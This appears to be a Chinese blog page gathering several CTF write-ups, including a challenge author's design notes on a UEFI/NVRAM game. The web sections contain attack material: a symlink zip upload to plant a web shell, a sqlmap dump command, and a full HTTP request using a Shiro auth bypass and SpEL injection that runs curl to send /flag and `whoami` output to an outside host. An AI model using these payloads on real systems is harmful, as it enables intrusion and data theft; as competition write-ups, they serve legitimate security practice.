标签 WP 下的文章

只发了自己做的,misc题目不好评价(主要是我菜。

Web

unzip

  1. unzip -o 可以用软连接连上/var/www/html,文件名为aa,传上去后unzip解压,就会有个aa的软连接
  2. 再建一个压缩包,里面塞个马,aa/cmd.php这样。
  3. 蚁剑连上去拿flag就行。


dumpit

  1. 主要利用点就是在dump这里,提示中的rce没啥用(赛后发现这里其实可以%0a换行rce)
  2. 利用报错重定向,将报错的内容重定向到log/下面,访问log/就可以了。
  3. 在phpinfo中找到flag

Misc

签到

python读/flag就行

print(open('/flag').read())

Crypto

基于国密SM2算法的密钥密文分发

  1. 跟着文档一步一步走就行
  2. iShot_2023-05-27_13.25.56
    iShot_2023-05-27_13.25.47
    iShot_2023-05-27_13.25.27

Sign_in_passwd

  1. base64,替换一下字符就行
    iShot_2023-05-27_13.47.18

前言

出题5天,被秒半小时,当时做环境的时候数据忘了清干净,导致被非预期了,原本挺有趣的题目没多少人玩到。
感兴趣的师傅后续也可以试试原有的解题思路,希望可以给各位有些帮助。

出题灵感来源

  1. 一直在玩黑苹果,虽然11代intel已经是黑果的绝唱了,但中间的一些思路倒是很有意思的。
  2. 安装黑果的重点就在于硬件能否被苹果系统识别,因此就有了本题,大致就是通过检测系统的硬件配置,实现一个简单的macOS检测机制。
  3. 选手需要通过oc或者其他方式修改nvram中的内容,让程序识别到该系统的某些配置。

正文

当时预设了2种解题方式

解题思路1

  1. 拿vmdk文件,提取其中的可执行文件进行分析,最终锁定openssl解密的部分,利用题目描述中的「cat_jump」进行解密获得flag。

解题思路2

  1. 拿到vmdk,进行仿真挂载,但发现该磁盘无法在ubuntu等预设中进行挂载,因为这里用的是Alpine Linux,并且是Alpine是UEFI,Vmware中一般都是bios引导启动,如果是vmware workstation的话需要在创建完毕后,高级中设置为UEFI启动,即可进入游戏。

  2. 进入游戏后,这里有个小脑洞,一般的游戏都会有「退出」模块,一般为「q」,但这里用的是「]」,退出后即可发现读取文件失败了。

  3. 读取的是nvram中的一个特定变量,如无法检测到这个变量的话,即使进了系统登录界面也无济于事。

  4. 通过opencore做一个引导驱动,在nvram中写入报错中的特定变量名和变量值,将该引导挂载到虚拟机中,我这直接用的U盘创了个ESP分区,把EFI丢进去了。


    如果U盘是USB3.1的记得改下兼容性

  5. 启动到固件后,选择opencore启动,这样EFI引导就是走的opencore,模拟出的nvram也就能获取到。

  6. 最终进入启动界面即可获取flag。

解题思路3(非预期)

  1. strings cat_jump_clean.vmdk | grep CatCTF{
  2. 010编辑搜索
  3. 取证大师提取原始数据
  4. 记事本打开
  5. .....

总之就是磁盘数据没清干净,被一把梭了。

Date Created: November 15, 2022 9:13 AM
Status: To Do

灵感

  1. 一直在玩黑苹果,虽然11代intel已经是黑果的绝唱了,但中间的一些思路倒是很有意思的。
  2. 安装黑果的重点就在于硬件能否被苹果系统识别,因此就有了本题,大致就是通过检测系统的硬件配置,实现一个简单的macOS检测机制。
  3. 选手需要通过oc或者其他方式修改nvram中的内容,让程序识别到该系统的某些配置。

思路

  1. 利用opencore进入引导后,通过某些open core的特性来查看flag
  2. efi和镜像文件均放在dumpit导出的镜像中

实现方式

  1. 用户态
    1. 利用Linux系统init的过程中,在login之前拉起检测程序
  2. 内核态
    1. 在Linux内核中添加一个读取efi变量的模块,编译完毕后,通过qemu拉起系统。

相关技术

UEFI仿冒、Linux用户态

具体实现流程

  • 拉取镜像
  • 安装efivar、g++等环境
  • 编写CatJump Game模块
  • 编写读取EFI变量模块
  • 更改Init,将编写好的模块放入login模块前
  • 导出vmdk镜像

前言

川渝大学生信息安全竞赛(bushi
misc做得少,2个盲水印没出。

WEB

WEB3

  1. sqlmap -u "http://f47b450586d37024.node.nsctf.cn/index.php" --data "session_id=t6kvde8irh72fjte5sjdddjna0" -D level1 -T secrets -C secret --dump secret

easy_java

  1. shiro1.9 %0a绕过权限绕过
  2. spel命令执行
  3. curl文件外带
POST /admin/flag%0aa HTTP/1.1
Host: 1fe71bef758cbc4b.node.nsctf.cn
Content-Length: 104
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://1fe71bef758cbc4b.node.nsctf.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1fe71bef758cbc4b.node.nsctf.cn/admin/flag%0aa
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

spel=T(java.lang.Runtime).getRuntime().exec('curl -X POST -F xx=@/flag <ip>:8848/?r=`whoami`')

MISC

sunflower

  1. foremost提取出2张一样的图片

  2. 盲水印解密得到flag

  3. 盲水印解密GitHub链接
    https://github.com/chishaxie/BlindWaterMark

precision

  1. file发现精度有问题

  2. 修改精度可以打开图片

  3. binwalk提取到zip文件

  4. 盲水印提取到字符串

  5. 利用字符串解压后, 得到base.txt

  6. base32隐写, 脚本一把梭。

import base64

table='ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
file = open("base.txt")
flag=''
tmpbin=''

for line in file.readlines():
    line=line.strip('\n')
    if(line[-1]=='='):
        if(line[-3]=='='):
            if(line[-4]=='='):
                if (line[-6] == '='):
                    i=table.index(line[-7])
                    b = bin(i)[2:]
                    b = b.zfill(5)
                    tmpbin+=b[-2:]
                    print(line)
                    print(b)
                else:
                    i = table.index(line[-5])
                    b = bin(i)[2:]
                    b = b.zfill(5)
                    tmpbin += b[-4:]
                    print(line)
                    print(b)
            else:
                i = table.index(line[-4])
                b = bin(i)[2:]
                b = b.zfill(5)
                tmpbin += b[-1:]
                print(line)
                print(b)
        else:
            i = table.index(line[-2])
            b = bin(i)[2:]
            b = b.zfill(5)
            tmpbin += b[-3:]
            print(line)
            print(b)

length= len(tmpbin)/8
for i in range(int(length)):
    flag+=chr(int(tmpbin[i*8:i*8+8],2))

print(tmpbin)
print(flag)

Crypto